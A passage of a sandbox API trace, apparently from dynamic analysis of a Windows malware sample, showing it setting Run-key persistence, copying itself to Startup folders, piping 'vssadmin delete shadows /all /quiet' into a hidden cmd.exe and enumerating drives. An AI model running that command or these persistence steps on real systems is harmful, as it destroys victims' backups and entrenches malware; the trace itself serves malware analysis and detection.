lpBuffer=0x24fd020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24fd020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0156.963] CloseHandle (hObject=0x244) returned 1 [0156.964] CloseHandle (hObject=0x240) returned 1 [0156.964] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ab8 [0156.964] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ab8, Size=0x20) returned 0x74d928 [0156.964] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a40 [0156.964] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a40, Size=0x20) returned 0x74da18 [0156.964] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.964] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.964] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.964] lstrlenW (lpString="kernel32.dll") returned 12 [0156.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74da18 | out: hHeap=0x710000) returned 1 [0156.964] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d928 | out: hHeap=0x710000) returned 1 [0156.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x24fd020 | out: hHeap=0x710000) returned 1 [0156.970] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b78 [0156.970] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b78, Size=0x20) returned 0x74d928 [0156.970] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d928, Size=0x40) returned 0x727978 [0156.970] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727978, Size=0x80) returned 0x794d58 [0156.970] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe") returned 42 [0156.970] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0156.970] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x5c) returned 0x753618 [0156.970] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0156.970] RegSetValueExW (hKey=0x240, lpValueName="wmxsde.exe", Reserved=0x0, dwType=0x1, lpData=0x754958, cbData=0x54) returned 0x5 [0156.970] RegCloseKey (hKey=0x240) returned 0x0 [0156.970] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753618 | out: hHeap=0x710000) returned 1 [0156.970] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe") returned 42 [0156.970] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0156.970] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x5c) returned 0x753618 [0156.970] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0156.971] RegSetValueExW (in: hKey=0x244, lpValueName="wmxsde.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe", cbData=0x54 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe") returned 0x0 [0156.972] RegCloseKey (hKey=0x244) returned 0x0 [0156.972] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753618 | out: hHeap=0x710000) returned 1 [0156.972] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0156.972] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x794d58 | out: hHeap=0x710000) returned 1 [0156.972] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x774968 [0156.972] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x784970 [0156.972] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a70 [0156.972] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a70, Size=0x20) returned 0x74d6a8 [0156.972] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d6a8, Size=0x40) returned 0x727978 [0156.972] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727978, Size=0x80) returned 0x7957f8 [0156.972] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7957f8, Size=0x100) returned 0x752fd8 [0156.972] lstrlenW (lpString="") returned 0 [0156.972] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.972] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x753448 [0156.972] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0156.973] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x784970, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x784970*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0156.973] RegCloseKey (hKey=0x244) returned 0x0 [0156.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753448 | out: hHeap=0x710000) returned 1 [0156.973] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.973] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x753448 [0156.973] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0156.973] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x784970, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0156.973] RegCloseKey (hKey=0x244) returned 0x0 [0156.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753448 | out: hHeap=0x710000) returned 1 [0156.973] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0156.973] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0156.973] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x774968, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x59 [0156.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x784970 | out: hHeap=0x710000) returned 1 [0156.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774968 | out: hHeap=0x710000) returned 1 [0156.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x24fd020 [0156.977] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752c08 [0156.977] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752c08, Size=0x20) returned 0x74d950 [0156.977] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752950 [0156.977] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752950, Size=0x20) returned 0x74d658 [0156.977] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.977] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.977] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.977] lstrlenW (lpString="kernel32.dll") returned 12 [0156.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d950 | out: hHeap=0x710000) returned 1 [0156.977] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d658 | out: hHeap=0x710000) returned 1 [0156.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0156.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.978] CloseHandle (hObject=0x244) returned 1 [0156.978] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752bd8 [0156.978] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752bd8, Size=0x20) returned 0x74d630 [0156.978] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b78 [0156.978] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b78, Size=0x20) returned 0x74da68 [0156.978] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.978] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.978] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.978] lstrlenW (lpString="kernel32.dll") returned 12 [0156.978] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74da68 | out: hHeap=0x710000) returned 1 [0156.978] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.978] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d630 | out: hHeap=0x710000) returned 1 [0156.978] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x24fd020 | out: hHeap=0x710000) returned 1 [0156.980] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x774968 [0156.981] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x784970 [0156.981] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752968 [0156.981] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752968, Size=0x20) returned 0x74da18 [0156.981] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74da18, Size=0x40) returned 0x727978 [0156.981] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727978, Size=0x80) returned 0x7957f8 [0156.981] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7957f8, Size=0x100) returned 0x752fd8 [0156.981] lstrlenW (lpString="") returned 0 [0156.981] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.981] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x753448 [0156.981] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0156.981] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x784970, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0156.981] RegCloseKey (hKey=0x244) returned 0x0 [0156.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753448 | out: hHeap=0x710000) returned 1 [0156.981] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0156.981] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0156.981] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x774968, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x48 [0156.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x784970 | out: hHeap=0x710000) returned 1 [0156.982] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774968 | out: hHeap=0x710000) returned 1 [0156.982] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x24f0020 [0156.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752950 [0156.998] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752950, Size=0x20) returned 0x74d9c8 [0156.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ba8 [0156.998] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ba8, Size=0x20) returned 0x74d770 [0156.998] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.998] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.998] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.998] lstrlenW (lpString="kernel32.dll") returned 12 [0156.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9c8 | out: hHeap=0x710000) returned 1 [0156.998] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d770 | out: hHeap=0x710000) returned 1 [0156.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0157.001] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.001] CloseHandle (hObject=0x244) returned 1 [0157.001] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b48 [0157.001] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b48, Size=0x20) returned 0x74d6a8 [0157.001] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ae8 [0157.001] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ae8, Size=0x20) returned 0x74d928 [0157.001] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.001] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.001] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0157.002] lstrlenW (lpString="kernel32.dll") returned 12 [0157.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d928 | out: hHeap=0x710000) returned 1 [0157.002] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d6a8 | out: hHeap=0x710000) returned 1 [0157.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x24f0020 | out: hHeap=0x710000) returned 1 [0157.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x754958 | out: hHeap=0x710000) returned 1 [0157.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x764960 | out: hHeap=0x710000) returned 1 [0157.007] lstrlenW (lpString="%windir%\\System32") returned 17 [0157.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727a98 | out: hHeap=0x710000) returned 1 [0157.007] lstrlenW (lpString="%appdata%") returned 9 [0157.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d900 | out: hHeap=0x710000) returned 1 [0157.007] lstrlenW (lpString="%sh(Startup)%") returned 13 [0157.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d748 | out: hHeap=0x710000) returned 1 [0157.007] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0157.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7278e8 | out: hHeap=0x710000) returned 1 [0157.007] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a40 [0157.007] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a40, Size=0x20) returned 0x74d9f0 [0157.007] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9f0, Size=0x40) returned 0x727978 [0157.007] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727978, Size=0x80) returned 0x7956e8 [0157.007] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b18 [0157.007] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b18, Size=0x20) returned 0x74da18 [0157.007] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1fffc) returned 0x754958 [0157.008] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x774960 [0157.008] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x784968 [0157.008] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b48 [0157.008] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b48, Size=0x20) returned 0x74d978 [0157.008] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d978, Size=0x40) returned 0x7278e8 [0157.008] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7278e8, Size=0x80) returned 0x7954c8 [0157.008] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7954c8, Size=0x100) returned 0x752fd8 [0157.008] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0157.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0157.008] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x774960, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0157.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x784968 | out: hHeap=0x710000) returned 1 [0157.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774960 | out: hHeap=0x710000) returned 1 [0157.010] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0157.047] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0157.047] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0157.049] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0157.049] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdf0, dwThreadId=0xdf4)) returned 1 [0157.141] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0157.141] WriteFile (in: hFile=0x24c, lpBuffer=0x7956e8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7956e8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0157.141] CloseHandle (hObject=0x25c) returned 1 [0157.141] CloseHandle (hObject=0x258) returned 1 [0157.141] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x754958 | out: hHeap=0x710000) returned 1 [0157.142] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0157.142] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7956e8 | out: hHeap=0x710000) returned 1 [0157.142] lstrlenW (lpString="%comspec%") returned 9 [0157.142] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74da18 | out: hHeap=0x710000) returned 1 [0157.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0157.144] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752a58 [0157.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x752a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0157.144] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74de30 [0157.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x74de30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0157.145] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a70 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a70, Size=0x20) returned 0x74d630 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d630, Size=0x40) returned 0x7278e8 [0157.145] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0157.145] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xd0) returned 0x72ae28 [0157.145] GetLogicalDrives () returned 0x4 [0157.145] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10014) returned 0x754958 [0157.145] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752968 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752968, Size=0x20) returned 0x74d9c8 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9c8, Size=0x40) returned 0x727a98 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727a98, Size=0x80) returned 0x795000 [0157.145] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795000, Size=0x100) returned 0x752fd8 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x200) returned 0x752fd8 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x400) returned 0x796188 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x796188, Size=0x800) returned 0x796188 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x796188, Size=0x1000) returned 0x796188 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x764978 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a40 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752a70 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x74ded0 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752c08 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x74df00 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752bd8 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74df00, Size=0x8) returned 0x74df90 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752ab8 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74df90, Size=0x10) returned 0x752b18 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752ad0 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752950 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b18, Size=0x20) returned 0x74d9a0 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752ae8 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df10 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x752968 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x752998 [0157.146] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9a0, Size=0x40) returned 0x727780 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7529b0 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7529c8 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x752b30 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x752b00 [0157.146] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752b18 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752b48 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df00 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752b60 [0157.147] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727780, Size=0x80) returned 0x7952a8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752b78 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752ba8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 